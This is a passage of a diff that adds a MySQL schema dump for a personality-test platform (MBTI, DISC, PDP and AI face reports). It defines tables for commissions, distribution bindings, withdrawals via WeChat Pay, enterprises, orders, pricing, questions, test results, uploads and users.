NULL COMMENT '创建时间(时间戳)', + `updatedAt` int(11) NULL DEFAULT NULL COMMENT '更新时间(时间戳)', + PRIMARY KEY (`id`) USING BTREE, + INDEX `idx_filename`(`filename`) USING BTREE, + INDEX `idx_status`(`status`) USING BTREE, + INDEX `idx_createdAt`(`createdAt`) USING BTREE, + INDEX `idx_deletedAt`(`deletedAt`) USING BTREE +) ENGINE = InnoDB AUTO_INCREMENT = 2 CHARACTER SET = utf8mb4 COLLATE = utf8mb4_unicode_ci COMMENT = '数据库备份记录表' ROW_FORMAT = Dynamic; + +-- ---------------------------- +-- Table structure for mbti_commission_records +-- ---------------------------- +DROP TABLE IF EXISTS `mbti_commission_records`; +CREATE TABLE `mbti_commission_records` ( + `id` int(11) UNSIGNED NOT NULL AUTO_INCREMENT COMMENT '记录ID', + `agentId` int(11) NOT NULL COMMENT '分销商ID', + `orderId` int(11) NULL DEFAULT NULL COMMENT '订单ID', + `commissionRate` decimal(5, 2) NULL DEFAULT 0.00 COMMENT '佣金比例(%)', + `commissionAmount` decimal(10, 2) NOT NULL COMMENT '佣金金额', + `status` varchar(20) CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci NOT NULL DEFAULT 'pending' COMMENT 'pending/paid/frozen/cancelled', + `paidAt` int(11) NULL DEFAULT NULL COMMENT '支付时间(时间戳)', + `createdAt` int(11) NULL DEFAULT NULL COMMENT '创建时间(时间戳)', + `updatedAt` int(11) NULL DEFAULT NULL COMMENT '更新时间(时间戳)', + `scope` varchar(20) CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci NOT NULL DEFAULT 'personal' COMMENT '分销维度', + `enterpriseId` int(11) NULL DEFAULT NULL COMMENT '企业ID', + `inviterId` int(11) NULL DEFAULT NULL COMMENT '推荐人ID', + `inviteeId` int(11) NULL DEFAULT NULL COMMENT '付款用户ID', + `bindingId` int(11) NULL DEFAULT NULL COMMENT '绑定记录ID', + `orderAmount` int(11) NOT NULL DEFAULT 0 COMMENT '订单金额(分)', + `commissionFen` int(11) NOT NULL DEFAULT 0 COMMENT '佣金金额(分)', + `frozenAt` int(11) NULL DEFAULT NULL COMMENT '冻结时间', + `unfrozenAt` int(11) NULL DEFAULT NULL COMMENT '解冻时间', + `testResultId` int(11) NULL DEFAULT NULL, + `commissionSource` varchar(20) CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci NOT NULL DEFAULT 'payment', + PRIMARY KEY (`id`) USING BTREE, + UNIQUE INDEX `uk_test_commission`(`testResultId`, `commissionSource`) USING BTREE, + INDEX `idx_agentId`(`agentId`) USING BTREE, + INDEX `idx_orderId`(`orderId`) USING BTREE, + INDEX `idx_status`(`status`) USING BTREE, + INDEX `idx_scope`(`scope`) USING BTREE, + INDEX `idx_dist_enterpriseId`(`enterpriseId`) USING BTREE, + INDEX `idx_inviterId`(`inviterId`) USING BTREE +) ENGINE = InnoDB AUTO_INCREMENT = 46 CHARACTER SET = utf8mb4 COLLATE = utf8mb4_unicode_ci COMMENT = '佣金记录表' ROW_FORMAT = Dynamic; + +-- ---------------------------- +-- Table structure for mbti_distribution_agents +-- ---------------------------- +DROP TABLE IF EXISTS `mbti_distribution_agents`; +CREATE TABLE `mbti_distribution_agents` ( + `id` int(11) UNSIGNED NOT NULL AUTO_INCREMENT COMMENT '分销商ID', + `userId` int(11) NOT NULL COMMENT '用户ID', + `agentName` varchar(100) CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci NOT NULL COMMENT '分销商名称', + `contactPhone` varchar(20) CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci NULL DEFAULT NULL COMMENT '联系电话', + `contactEmail` varchar(100) CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci NULL DEFAULT NULL COMMENT '联系邮箱', + `totalOrders` int(11) NULL DEFAULT 0 COMMENT '总订单数', + `totalCommission` decimal(10, 2) NULL DEFAULT 0.00 COMMENT '总佣金', + `availableCommission` decimal(10, 2) NULL DEFAULT 0.00 COMMENT '可提现佣金', + `status` tinyint(1) NULL DEFAULT 1 COMMENT '状态:1正常,0禁用', + `createdAt` int(11) NULL DEFAULT NULL COMMENT '创建时间(时间戳)', + `updatedAt` int(11) NULL DEFAULT NULL COMMENT '更新时间(时间戳)', + PRIMARY KEY (`id`) USING BTREE, + INDEX `idx_userId`(`userId`) USING BTREE, + INDEX `idx_status`(`status`) USING BTREE +) ENGINE = InnoDB AUTO_INCREMENT = 1 CHARACTER SET = utf8mb4 COLLATE = utf8mb4_unicode_ci COMMENT = '分销商表' ROW_FORMAT = Dynamic; + +-- ---------------------------- +-- Table structure for mbti_distribution_bindings +-- ---------------------------- +DROP TABLE IF EXISTS `mbti_distribution_bindings`; +CREATE TABLE `mbti_distribution_bindings` ( + `id` int(11) UNSIGNED NOT NULL AUTO_INCREMENT COMMENT '绑定ID', + `inviterId` int(11) NOT NULL COMMENT '当前推荐人ID (wechat_users.id)', + `inviteeId` int(11) NOT NULL COMMENT '被推荐人ID (wechat_users.id)', + `scope` varchar(20) CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci NOT NULL DEFAULT 'personal' COMMENT '分销维度: personal|enterprise', + `enterpriseId` int(11) NULL DEFAULT NULL COMMENT '企业ID(企业版时非空)', + `expireAt` int(11) NOT NULL COMMENT '绑定过期时间戳(绑定时间+30天)', + `status` varchar(20) CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci NOT NULL DEFAULT 'active' COMMENT '状态: active/expired/overridden', + `prevInviterId` int(11) NULL DEFAULT NULL COMMENT '被抢绑前的推荐人ID', + `overriddenAt` int(11) NULL DEFAULT NULL COMMENT '被覆盖时间(抢绑时记录)', + `createdAt` int(11) NULL DEFAULT NULL COMMENT '绑定创建时间', + `updatedAt` int(11) NULL DEFAULT NULL COMMENT '更新时间', + PRIMARY KEY (`id`) USING BTREE, + UNIQUE INDEX `uk_invitee_scope_ent`(`inviteeId`, `scope`, `enterpriseId`) USING BTREE, + INDEX `idx_inviterId`(`inviterId`) USING BTREE, + INDEX `idx_inviteeId`(`inviteeId`) USING BTREE, + INDEX `idx_prevInviterId`(`prevInviterId`) USING BTREE, + INDEX `idx_expireAt`(`expireAt`) USING BTREE, + INDEX `idx_status`(`status`) USING BTREE +) ENGINE = InnoDB AUTO_INCREMENT = 12 CHARACTER SET = utf8mb4 COLLATE = utf8mb4_unicode_ci COMMENT = '分销绑定记录表' ROW_FORMAT = Dynamic; + +-- ---------------------------- +-- Table structure for mbti_distribution_withdrawals +-- ---------------------------- +DROP TABLE IF EXISTS `mbti_distribution_withdrawals`; +CREATE TABLE `mbti_distribution_withdrawals` ( + `id` int(11) UNSIGNED NOT NULL AUTO_INCREMENT, + `userId` int(11) NOT NULL COMMENT '推荐人 wechat_users.id', + `amountFen` int(11) NOT NULL COMMENT '申请提现金额(分)', + `feeFen` int(11) NOT NULL DEFAULT 0 COMMENT '手续费(分)', + `realNameInfo` varchar(500) CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci NULL DEFAULT NULL COMMENT '收款实名信息 JSON', + `status` varchar(20) CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci NOT NULL DEFAULT 'pending' COMMENT 'pending/approved/rejected/transferred', + `auditNote` varchar(500) CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci NULL DEFAULT NULL COMMENT '审核备注', + `auditAt` int(11) NULL DEFAULT NULL COMMENT '审核时间', + `transferAt` int(11) NULL DEFAULT NULL COMMENT '打款时间', + `createdAt` int(11) NULL DEFAULT NULL, + `updatedAt` int(11) NULL DEFAULT NULL, + `pay_type` varchar(20) CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci NULL DEFAULT 'wechat' COMMENT '支付方式(wechat=微信支付,offline=线下)', + `out_bill_no` varchar(64) CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci NULL DEFAULT NULL COMMENT '商户明细单号(TX+id)', + `transfer_bill_no` varchar(64) CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci NULL DEFAULT NULL COMMENT '微信转账单号', + `wechat_pay_state` varchar(32) CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci NULL DEFAULT NULL COMMENT '微信转账状态(SUCCESS/PROCESSING/FAIL 等)', + `transfer_scene_id` varchar(36) CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci NULL DEFAULT '1005' COMMENT '转账场景ID', + `mch_id` varchar(50) CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci NULL DEFAULT NULL COMMENT '付款商户号', + `package_info` text CHARACTER SET utf8 COLLATE utf8_general_ci NULL COMMENT '微信支付package信息(用于调起用户确认收款)', + PRIMARY KEY (`id`) USING BTREE, + INDEX `idx_userId`(`userId`) USING BTREE, + INDEX `idx_status`(`status`) USING BTREE, + INDEX `idx_out_bill_no`(`out_bill_no`) USING BTREE, + INDEX `idx_transfer_bill_no`(`transfer_bill_no`) USING BTREE +) ENGINE = InnoDB AUTO_INCREMENT = 7 CHARACTER SET = utf8mb4 COLLATE = utf8mb4_unicode_ci COMMENT = '分销提现记录表' ROW_FORMAT = Dynamic; + +-- ---------------------------- +-- Table structure for mbti_enterprises +-- ---------------------------- +DROP TABLE IF EXISTS `mbti_enterprises`; +CREATE TABLE `mbti_enterprises` ( + `id` int(11) UNSIGNED NOT NULL AUTO_INCREMENT COMMENT '企业ID', + `name` varchar(100) CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci NOT NULL COMMENT '企业名称', + `code` varchar(50) CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci NULL DEFAULT NULL COMMENT '企业代码', + `contactName` varchar(50) CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci NULL DEFAULT NULL COMMENT '联系人姓名', + `contactPhone` varchar(20) CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci NULL DEFAULT NULL COMMENT '联系电话', + `contactEmail` varchar(100) CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci NULL DEFAULT NULL COMMENT '联系邮箱', + `balance` int(11) NULL DEFAULT 0 COMMENT '余额', + `status` varchar(20) CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci NULL DEFAULT 'operating' COMMENT '状态:operating运营中/trial试用/disabled已停用', + `trialExpireAt` int(11) NULL DEFAULT NULL COMMENT '试用到期时间(时间戳,仅当status为trial时有效)', + `deletedAt` int(11) NULL DEFAULT NULL COMMENT '删除时间(时间戳,NULL表示未删除)', + `createdAt` int(11) NULL DEFAULT NULL COMMENT '创建时间(时间戳)', + `updatedAt` int(11) NULL DEFAULT NULL COMMENT '更新时间(时间戳)', + PRIMARY KEY (`id`) USING BTREE, + INDEX `idx_status`(`status`) USING BTREE, + INDEX `idx_createdAt`(`createdAt`) USING BTREE, + INDEX `idx_code`(`code`) USING BTREE, + INDEX `idx_deletedAt`(`deletedAt`) USING BTREE +) ENGINE = InnoDB AUTO_INCREMENT = 7 CHARACTER SET = utf8mb4 COLLATE = utf8mb4_unicode_ci COMMENT = '企业表' ROW_FORMAT = Dynamic; + +-- ---------------------------- +-- Table structure for mbti_finance_records +-- ---------------------------- +DROP TABLE IF EXISTS `mbti_finance_records`; +CREATE TABLE `mbti_finance_records` ( + `id` int(11) UNSIGNED NOT NULL AUTO_INCREMENT COMMENT '记录ID', + `enterpriseId` int(11) NULL DEFAULT NULL COMMENT '企业ID', + `type` varchar(20) CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci NOT NULL COMMENT '类型:recharge/consume/refund', + `amount` int(11) NOT NULL DEFAULT 0 COMMENT '金额(分)', + `balanceBefore` int(11) NULL DEFAULT 0 COMMENT '操作前余额(分)', + `balanceAfter` int(11) NULL DEFAULT 0 COMMENT '操作后余额(分)', + `description` varchar(255) CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci NULL DEFAULT NULL COMMENT '描述', + `orderId` int(11) NULL DEFAULT NULL COMMENT '关联订单ID', + `createdAt` int(11) NULL DEFAULT NULL COMMENT '创建时间(时间戳)', + PRIMARY KEY (`id`) USING BTREE, + INDEX `idx_enterpriseId`(`enterpriseId`) USING BTREE, + INDEX `idx_type`(`type`) USING BTREE, + INDEX `idx_createdAt`(`createdAt`) USING BTREE +) ENGINE = InnoDB AUTO_INCREMENT = 31 CHARACTER SET = utf8mb4 COLLATE = utf8mb4_unicode_ci COMMENT = '财务记录表' ROW_FORMAT = Dynamic; + +-- ---------------------------- +-- Table structure for mbti_orders +-- ---------------------------- +DROP TABLE IF EXISTS `mbti_orders`; +CREATE TABLE `mbti_orders` ( + `id` int(11) UNSIGNED NOT NULL AUTO_INCREMENT COMMENT '订单ID', + `orderNo` varchar(50) CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci NOT NULL COMMENT '订单号', + `userId` int(11) NOT NULL COMMENT '用户ID', + `enterpriseId` int(11) NULL DEFAULT NULL COMMENT '企业ID', + `productType` varchar(20) CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci NOT NULL COMMENT '产品类型:face/mbti/disc/pdp/report', + `productTitle` varchar(255) CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci NULL DEFAULT NULL COMMENT '商品标题(如个人深度洞察测试版、AI人脸完整报告)', + `amount` int(11) NOT NULL DEFAULT 0 COMMENT '金额(分)', + `status` varchar(20) CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci NULL DEFAULT 'pending' COMMENT '状态:pending/paid/completed/cancelled', + `payMethod` varchar(20) CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci NULL DEFAULT NULL COMMENT '支付方式', + `payTime` int(11) NULL DEFAULT NULL COMMENT '支付时间(时间戳)', + `wechatTransactionId` varchar(64) CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci NULL DEFAULT NULL COMMENT '微信支付订单号(transaction_id)', + `createdAt` int(11) NULL DEFAULT NULL COMMENT '创建时间(时间戳)', + `updatedAt` int(11) NULL DEFAULT NULL COMMENT '更新时间(时间戳)', + PRIMARY KEY (`id`) USING BTREE, + UNIQUE INDEX `orderNo`(`orderNo`) USING BTREE, + INDEX `idx_userId`(`userId`) USING BTREE, + INDEX `idx_enterpriseId`(`enterpriseId`) USING BTREE, + INDEX `idx_status`(`status`) USING BTREE, + INDEX `idx_createdAt`(`createdAt`) USING BTREE, + INDEX `idx_productType`(`productType`) USING BTREE +) ENGINE = InnoDB AUTO_INCREMENT = 84 CHARACTER SET = utf8mb4 COLLATE = utf8mb4_unicode_ci COMMENT = '订单表' ROW_FORMAT = Dynamic; + +-- ---------------------------- +-- Table structure for mbti_pricing_config +-- ---------------------------- +DROP TABLE IF EXISTS `mbti_pricing_config`; +CREATE TABLE `mbti_pricing_config` ( + `id` int(11) UNSIGNED NOT NULL AUTO_INCREMENT COMMENT '配置ID', + `type` varchar(20) CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci NOT NULL COMMENT '定价类型:personal个人版/enterprise企业版/deep深度服务', + `enterpriseId` int(11) NULL DEFAULT NULL COMMENT '企业ID,NULL=全局默认', + `config` json NULL COMMENT '定价配置(JSON格式)', + `createdAt` int(11) NULL DEFAULT NULL COMMENT '创建时间(时间戳)', + `updatedAt` int(11) NULL DEFAULT NULL COMMENT '更新时间(时间戳)', + PRIMARY KEY (`id`) USING BTREE, + UNIQUE INDEX `idx_type_enterpriseId`(`type`, `enterpriseId`) USING BTREE, + INDEX `idx_enterpriseId`(`enterpriseId`) USING BTREE +) ENGINE = InnoDB AUTO_INCREMENT = 12 CHARACTER SET = utf8mb4 COLLATE = utf8mb4_unicode_ci COMMENT = '全局定价配置表' ROW_FORMAT = Dynamic; + +-- ---------------------------- +-- Table structure for mbti_questions +-- ---------------------------- +DROP TABLE IF EXISTS `mbti_questions`; +CREATE TABLE `mbti_questions` ( + `id` int(11) UNSIGNED NOT NULL AUTO_INCREMENT COMMENT '题目ID', + `type` varchar(20) CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci NOT NULL COMMENT '题目类型:mbti/disc/pdp', + `question` text CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci NOT NULL COMMENT '题目内容', + `options` json NULL COMMENT '选项(JSON格式)', + `dimension` varchar(10) CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci NULL DEFAULT NULL COMMENT '维度(仅MBTI类型使用:EI/SN/TF/JP)', + `enterpriseId` int(11) NULL DEFAULT NULL COMMENT '企业ID(NULL表示超管题库)', + `sort` int(11) NULL DEFAULT 0 COMMENT '排序', + `status` tinyint(1) NULL DEFAULT 1 COMMENT '状态:1启用,0禁用', + `deletedAt` int(11) NULL DEFAULT NULL COMMENT '删除时间(时间戳,NULL表示未删除)', + `createdAt` int(11) NULL DEFAULT NULL COMMENT '创建时间(时间戳)', + `updatedAt` int(11) NULL DEFAULT NULL COMMENT '更新时间(时间戳)', + PRIMARY KEY (`id`) USING BTREE, + INDEX `idx_type`(`type`) USING BTREE, + INDEX `idx_status`(`status`) USING BTREE, + INDEX `idx_sort`(`sort`) USING BTREE, + INDEX `idx_enterpriseId`(`enterpriseId`) USING BTREE, + INDEX `idx_deletedAt`(`deletedAt`) USING BTREE +) ENGINE = InnoDB AUTO_INCREMENT = 131 CHARACTER SET = utf8mb4 COLLATE = utf8mb4_unicode_ci COMMENT = '题目表' ROW_FORMAT = Dynamic; + +-- ---------------------------- +-- Table structure for mbti_system_config +-- ---------------------------- +DROP TABLE IF EXISTS `mbti_system_config`; +CREATE TABLE `mbti_system_config` ( + `id` int(11) UNSIGNED NOT NULL AUTO_INCREMENT COMMENT '配置ID', + `key` varchar(100) CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci NOT NULL COMMENT '配置键', + `enterprise_id` int(11) NOT NULL DEFAULT 0 COMMENT '企业ID,0=全局/个人版', + `value` text CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci NULL COMMENT '配置值(JSON格式)', + `description` varchar(500) CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci NULL DEFAULT NULL COMMENT '配置说明', + `createdAt` int(11) NULL DEFAULT NULL COMMENT '创建时间(时间戳)', + `updatedAt` int(11) NULL DEFAULT NULL COMMENT '更新时间(时间戳)', + PRIMARY KEY (`id`) USING BTREE, + UNIQUE INDEX `idx_key_eid`(`key`, `enterprise_id`) USING BTREE +) ENGINE = InnoDB AUTO_INCREMENT = 12 CHARACTER SET = utf8mb4 COLLATE = utf8mb4_unicode_ci COMMENT = '系统配置表' ROW_FORMAT = Dynamic; + +-- ---------------------------- +-- Table structure for mbti_system_configs +-- ---------------------------- +DROP TABLE IF EXISTS `mbti_system_configs`; +CREATE TABLE `mbti_system_configs` ( + `id` int(11) UNSIGNED NOT NULL AUTO_INCREMENT COMMENT '配置ID', + `configKey` varchar(50) CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci NOT NULL COMMENT '配置键', + `configValue` text CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci NULL COMMENT '配置值(JSON格式)', + `description` varchar(255) CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci NULL DEFAULT NULL COMMENT '描述', + `createdAt` int(11) NULL DEFAULT NULL COMMENT '创建时间(时间戳)', + `updatedAt` int(11) NULL DEFAULT NULL COMMENT '更新时间(时间戳)', + PRIMARY KEY (`id`) USING BTREE, + UNIQUE INDEX `configKey`(`configKey`) USING BTREE +) ENGINE = InnoDB AUTO_INCREMENT = 17 CHARACTER SET = utf8mb4 COLLATE = utf8mb4_unicode_ci COMMENT = '系统配置表' ROW_FORMAT = Dynamic; + +-- ---------------------------- +-- Table structure for mbti_test_results +-- ---------------------------- +DROP TABLE IF EXISTS `mbti_test_results`; +CREATE TABLE `mbti_test_results` ( + `id` int(11) UNSIGNED NOT NULL AUTO_INCREMENT COMMENT '结果ID', + `userId` int(11) NOT NULL COMMENT '用户ID', + `testType` varchar(20) CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci NOT NULL COMMENT '测试类型:mbti/disc/pdp/face', + `resultData` json NULL COMMENT '测试结果(JSON格式)', + `score` text CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci NULL COMMENT '得分详情', + `orderId` int(11) NULL DEFAULT NULL COMMENT '关联订单ID(mbti_orders.id)', + `requiresPayment` tinyint(1) NOT NULL DEFAULT 0 COMMENT '是否需要付款:0否1是', + `isPaid` tinyint(1) NOT NULL DEFAULT 0 COMMENT '是否已付款:0否1是', + `paidAmount` int(11) NULL DEFAULT 0 COMMENT '付款金额(分,冗余存储,避免改价影响历史)', + `paidAt` int(11) NULL DEFAULT NULL COMMENT '付款时间(时间戳)', + `createdAt` int(11) NULL DEFAULT NULL COMMENT '创建时间(时间戳)', + `updatedAt` int(11) NULL DEFAULT NULL COMMENT '更新时间(时间戳)', + `enterpriseId` int(11) NULL DEFAULT NULL COMMENT '企业ID,NULL表示个人用户', + `testScope` varchar(20) CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci NOT NULL DEFAULT 'personal' COMMENT '测试来源版本: personal=个人版 enterprise=企业版', + PRIMARY KEY (`id`) USING BTREE, + INDEX `idx_userId`(`userId`) USING BTREE, + INDEX `idx_testType`(`testType`) USING BTREE, + INDEX `idx_createdAt`(`createdAt`) USING BTREE, + INDEX `idx_orderId`(`orderId`) USING BTREE, + INDEX `idx_isPaid`(`isPaid`) USING BTREE, + INDEX `idx_requiresPayment`(`requiresPayment`) USING BTREE +) ENGINE = InnoDB AUTO_INCREMENT = 146 CHARACTER SET = utf8mb4 COLLATE = utf8mb4_unicode_ci COMMENT = '测试结果表' ROW_FORMAT = Dynamic; + +-- ---------------------------- +-- Table structure for mbti_upload_files +-- ---------------------------- +DROP TABLE IF EXISTS `mbti_upload_files`; +CREATE TABLE `mbti_upload_files` ( + `id` int(11) UNSIGNED NOT NULL AUTO_INCREMENT COMMENT '记录ID', + `path` varchar(500) CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci NOT NULL COMMENT '存储路径', + `url` varchar(500) CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci NOT NULL COMMENT '访问 URL', + `driver` varchar(20) CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci NOT NULL DEFAULT 'oss' COMMENT '驱动: oss/local', + `hash` varchar(32) CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci NOT NULL COMMENT '文件 MD5', + `size` int(11) NULL DEFAULT NULL COMMENT '文件大小(字节)', + `mimeType` varchar(100) CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci NULL DEFAULT NULL COMMENT 'MIME 类型', + `extension` varchar(20) CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci NULL DEFAULT NULL COMMENT '扩展名', + `createdAt` int(11) NULL DEFAULT NULL COMMENT '创建时间(时间戳)', + `updatedAt` int(11) NULL DEFAULT NULL COMMENT '更新时间(时间戳)', + PRIMARY KEY (`id`) USING BTREE, + INDEX `idx_driver_hash`(`driver`, `hash`) USING BTREE, + INDEX `idx_createdAt`(`createdAt`) USING BTREE +) ENGINE = InnoDB AUTO_INCREMENT = 124 CHARACTER SET = utf8mb4 COLLATE = utf8mb4_unicode_ci COMMENT = '上传文件记录表' ROW_FORMAT = Dynamic; + +-- ---------------------------- +-- Table structure for mbti_user_profile +-- ---------------------------- +DROP TABLE IF EXISTS `mbti_user_profile`; +CREATE TABLE `mbti_user_profile` ( + `id` int(11) UNSIGNED NOT NULL AUTO_INCREMENT COMMENT '主键ID', + `userId` int(11) NOT NULL COMMENT '用户ID(关联总用户表主键)', + `userType` varchar(20) CHARACTER SET utf8mb4 COLLATE utf8mb4_general_ci NOT NULL DEFAULT 'personal' COMMENT '用户类型: personal个人 / enterprise企业', + `enterpriseId` int(11) NULL DEFAULT NULL COMMENT '企业ID(企业用户所属企业,个人为空)', + `testsTotal` int(11) NOT NULL DEFAULT 0 COMMENT '总测试次数(所有类型之和)', + `testsMbti` int(11) NOT NULL DEFAULT 0 COMMENT 'MBTI测试次数', + `testsDisc` int(11) NOT NULL DEFAULT 0 COMMENT 'DISC测试次数', + `testsPdp` int(11) NOT NULL DEFAULT 0 COMMENT 'PDP测试次数', + `testsFace` int(11) NOT NULL DEFAULT 0 COMMENT 'AI面相测试次数', + `ordersTotal` int(11) NOT NULL DEFAULT 0 COMMENT '总订单数', + `paidOrders` int(11) NOT NULL DEFAULT 0 COMMENT '已付款订单数', + `totalPaidAmount` int(11) NOT NULL DEFAULT 0 COMMENT '总支付金额(分)', + `lastTestResultId` int(11) NULL DEFAULT NULL COMMENT '最近一条测试结果ID(mbti_test_results.id)', + `lastTestType` varchar(20) CHARACTER SET utf8mb4 COLLATE utf8mb4_general_ci NULL DEFAULT NULL COMMENT '最近测试类型: mbti/disc/pdp/face/ai', + `lastTestAt` int(11) NULL DEFAULT NULL COMMENT '最近测试时间', + `lastMbtiResultId` int(11) NULL DEFAULT NULL COMMENT '最近一次MBTI结果ID', + `lastDiscResultId` int(11) NULL DEFAULT NULL COMMENT '最近一次DISC结果ID', + `lastPdpResultId` int(11) NULL DEFAULT NULL COMMENT '最近一次PDP结果ID', + `lastFaceResultId` int(11) NULL DEFAULT NULL COMMENT '最近一次AI面相结果ID', + `createdAt` int(11) NOT NULL DEFAULT 0 COMMENT '创建时间', + `updatedAt` int(11) NOT NULL DEFAULT 0 COMMENT '更新时间', + PRIMARY KEY (`id`) USING BTREE, + UNIQUE INDEX `uk_user`(`userId`, `userType`, `enterpriseId`) USING BTREE, + INDEX `idx_enterprise`(`enterpriseId`) USING BTREE, + INDEX `idx_lastTestAt`(`lastTestAt`) USING BTREE +) ENGINE = InnoDB AUTO_INCREMENT = 17 CHARACTER SET = utf8mb4 COLLATE = utf8mb4_general_ci COMMENT = '用户画像汇总表(个人+企业,含最近测试结果ID)' ROW_FORMAT = Dynamic; + +-- ---------------------------- +-- Table structure for mbti_users +-- ---------------------------- +DROP TABLE IF EXISTS `mbti_users`; +CREATE TABLE `mbti_users` ( + `id` int(11) UNSIGNED NOT NULL AUTO_INCREMENT COMMENT '用户ID', + `username` varchar(50) CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci NOT NULL COMMENT '用户名', + `password` varchar(255) CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci NOT NULL COMMENT '密码(加密)', + `phone` varchar(20) CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci NULL DEFAULT NULL COMMENT '手机号', + `email` varchar(100) CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci NULL DEFAULT NULL COMMENT '邮箱', + `role` enum('enterprise_admin','admin','superadmin') CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci NOT NULL COMMENT '角色:enterprise_admin企业管理员/admin普通管理员/superadmin超级管理员', + `enterpriseId` int(11) NULL DEFAULT NULL COMMENT '企业ID', + `mbtiType` varchar(10) CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci NULL DEFAULT NULL COMMENT 'MBTI类型', + `region` varchar(50) CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci NULL DEFAULT NULL COMMENT '地区', + `industry` varchar(50) CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci NULL DEFAULT NULL COMMENT '行业', + `status` tinyint(1) NULL DEFAULT 1 COMMENT '状态:1正常,0禁用', + `lastLoginTime` int(11) NULL DEFAULT NULL COMMENT '最后登录时间(时间戳)', + `lastLoginIp` varchar(50) CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci NULL DEFAULT NULL COMMENT '最后登录IP', + `deletedAt` int(11) NULL DEFAULT NULL COMMENT '删除时间(时间戳,NULL表示未删除)', + `createdAt` int(11) NULL DEFAULT NULL COMMENT '创建时间(时间戳)', + `updatedAt` int(11) NULL DEFAULT NULL COMMENT '更新时间(时间戳)', + PRIMARY KEY (`id`) USING BTREE, + UNIQUE INDEX `username`(`username`) USING BTREE, + INDEX `idx_enterpriseId`(`enterpriseId`) USING BTREE, + INDEX `idx_role`(`role`) USING BTREE, + INDEX `idx_status`(`status`) USING BTREE, + INDEX `idx_createdAt`(`createdAt`) USING BTREE, + INDEX `idx_lastLoginTime`(`lastLoginTime`) USING BTREE, + INDEX `idx_deletedAt`(`deletedAt`) USING BTREE +) ENGINE = InnoDB AUTO_INCREMENT = 4 CHARACTER SET = utf8mb4 COLLATE = utf8mb4_unicode_ci COMMENT = '管理员用户表(仅存储管理员和超管)' ROW_FORMAT = Dynamic; + +-- ---------------------------- +-- Table structure for mbti_wechat_users +-- ---------------------------- +DROP TABLE IF EXISTS `mbti_wechat_users`; +CREATE TABLE `mbti_wechat_users` ( + `id` int(11) UNSIGNED NOT NULL AUTO_INCREMENT COMMENT '用户ID', + `openid` varchar(64) CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci NOT NULL COMMENT '微信 openid', + `unionid` varchar(64) CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci NULL DEFAULT NULL COMMENT '微信 unionid(开放平台)', + `sessionKey` varchar(128) CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci NULL DEFAULT NULL COMMENT '会话密钥', + `nickname` varchar(100) CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci NULL DEFAULT NULL COMMENT '昵称', + `avatar` varchar(500) CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci NULL DEFAULT NULL COMMENT '头像 URL', + `phone` varchar(20) CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci NULL DEFAULT NULL COMMENT '手机号', + `gender` tinyint(1) NULL DEFAULT 0 COMMENT '性别:0未知 1男 2女', + `country` varchar(50) CHARACTER SET 